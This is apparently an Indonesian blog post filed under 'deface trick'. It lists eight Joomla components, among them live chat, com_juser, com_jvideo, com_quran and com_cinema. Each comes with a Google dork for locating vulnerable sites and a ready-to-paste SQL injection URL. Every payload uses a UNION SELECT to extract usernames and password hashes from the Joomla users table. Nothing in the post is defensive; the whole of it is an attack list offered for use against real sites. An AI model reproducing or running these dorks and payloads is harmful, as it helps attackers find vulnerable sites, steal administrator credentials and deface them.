joomla exploit

langsung aja tanpa basa basi


1.Jomla Live chat
dork:option=com_livechat

exploit:administrator/components/com_livechat/getChat.php?chat=0&last=1%20union%20select%201,unhex(hex(concat(username,0x3a,password))),3,4%2 ​0from%20jos_users


2.jomla com_juser
dork:inurl:option=com_juser

exploit:index.php?option=com_juser&task=show_profile&id=70+and+1=2+union+select+1,2,concat(username,0x3a,password)chipdebi0s,4,5, ​6,7,8,9,10,11,12,13+from+jos_users-


3.Joomla "com_jvideo"
dork:inurl:option=com_jvideo

exploit:index.php?option=com_jvideo&view=user&user_id=62+and%201=2+union+select+concat(username,0x3a,password)+from+jos_us ​ers


4.Joomla com_ewriting
dork:com_ewriting"

exploit:option=com_ewriting&Itemid=9999&func=selectcat&cat=-1+UNION+ALL+SELECT+1,2,concat(username,0x3a,password),4,5,6,7,8,9,10+FROM+jos_us ​ers--

5.Joomla com_simple_review Sql injection
dork:inurl:"com_simple_review"

exploit:option=com_simple_review&category=4+AND+1=2+UNION+SELECT+0,concat_ws(username,0x3a,password),2+from+j​os_users--

6.Joomla Qur'an component
dork:inurl:"/index.php?option=com_quran"
dork ke2:allinurl:"com_quran"

exploit:option=com_quran&action=viewayat&surano=-1+union+all+select+1,concat(username,0x3a,password ),3,4,5+from+mos_users+limit+0,20--


7.Joomla Component com_cinema SQL Injection
dork:allinurl: "com_cinema"

exploit 1:option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28, ​29,30,31,32,concat(username,0x3a,password)/**/from/**/jos_users/*

exploit 2:index.php?option=com_cinema&Itemid=S@BUN&func=detail&id=-99999/**/union/**/select/**/0,1,0x3a,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,29, ​29,30,concat(username,0x3a,password)/**/from/**/jos_users/*


8.Joomla Component joomradio Remote SQL Injection
dork:inurl:com_joomradio

exploit:option=com_joomradio&page=show_video&id=-1 UNION SELECT user(),concat(username,0x3a,password),user(),user(),user(),user(),user() FROM jos_users--

sumber:google.codenesia

Posted in: deface trick